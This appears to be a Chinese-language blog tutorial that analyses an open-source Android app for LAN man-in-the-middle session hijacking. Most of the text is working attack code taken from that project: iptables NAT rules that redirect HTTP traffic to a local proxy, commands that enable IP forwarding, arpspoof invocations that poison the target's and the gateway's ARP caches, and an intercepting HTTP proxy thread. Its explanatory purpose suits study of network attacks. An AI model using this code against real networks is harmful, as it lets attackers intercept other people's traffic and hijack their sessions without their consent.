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    Android中间人攻击的思路就是劫持局域网中被攻击机器和server间的对话。被攻击机器和server表面上工作正常，实际上已经被中间人劫持。能够从一张图来明确这个过程。

    受攻击主机发送的数据，首先经过了攻击者。从server返回的数据也经过攻击者，再发送给受攻击主机。

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    Android开源中间人攻击样例。请參考https://github.com/ssun125/Lanmitm。我们这里主要分析这个链接中效果预览中会话劫持的原理。

    分析https://github.com/ssun125/Lanmitm源码，要实现arp欺骗，有关键的四步：

    1、使用Iptables进行NAT数据包转发

	public static final String[] PORT_REDIRECT_CMD = {
			"iptables -t nat -F",
			"iptables -F",
			"iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE",
			"iptables -P FORWARD ACCEPT",
			"iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 80 --to "
					+ AppContext.getIp() + ":" + HttpProxy.HTTP_PROXY_PORT };

    2、开启端口转发，同意本机像路由器那样转发数据包

	private String[] FORWARD_COMMANDS = { "echo 1 > /proc/sys/net/ipv4/ip_forward",
			"echo 1 > /proc/sys/net/ipv6/conf/all/forwarding" };

    3、ARP投毒

		if ((ONE_WAY_HOST & arp_cheat_way) != 0) {
			if (target_ip == null)
				target_ip = AppContext.getTarget().getIp();

			if (!target_ip.equals(AppContext.getGateway()))
				arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
						+ " -t " + target_ip + " "
						+ AppContext.getGateway();
			else
				arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
						+ " -t " + AppContext.getGateway() + " "
						+ target_ip;

			arpSpoof = new Thread() {

				@Override
				public void run() {
					ShellUtils.execCommand(arp_spoof_cmd, true, false);
				}
			};
			arpSpoof.start();
		}
		if ((ONE_WAY_ROUTE & arp_cheat_way) != 0) {
			arp_spoof_recv_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
					+ " -t " + AppContext.getGateway() + " "
					+ AppContext.getIp();

			arpSpoofRecv = new Thread() {
				@Override
				public void run() {
					ShellUtils.execCommand(arp_spoof_recv_cmd, true, false);
				}
			};
			arpSpoofRecv.start();
		}

public class HttpProxy extends Thread {
	......
	@Override
	public void run() {
		try {
			mServerSocket = new ServerSocket();
			mServerSocket.setReuseAddress(true);
			mServerSocket.bind(
					new InetSocketAddress(AppContext.getInetAddress(),
							HTTP_PROXY_PORT), BACKLOG);
			executor = Executors.newCachedThreadPool();
			while (!stop) {
				Socket client = mServerSocket.accept();
				DealThread dealThread = null;
				switch (mProxyMode) {
				case MODE_PROXY_SIMPLE:
					dealThread = new SimpleDealThread(client,
							mOnRequestListener);
					break;
				case MODE_PROXY_DEEP:
					dealThread = new DeepDealThread(client, mOnRequestListener);
					break;
				}
				executor.execute(dealThread);
			}
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			if (mServerSocket != null) {
				try {
					mServerSocket.close();
				} catch (IOException e) {
					e.printStackTrace();
				}
			}
			if (executor != null) {
				executor.shutdownNow();
			}
		}
	}
	......
}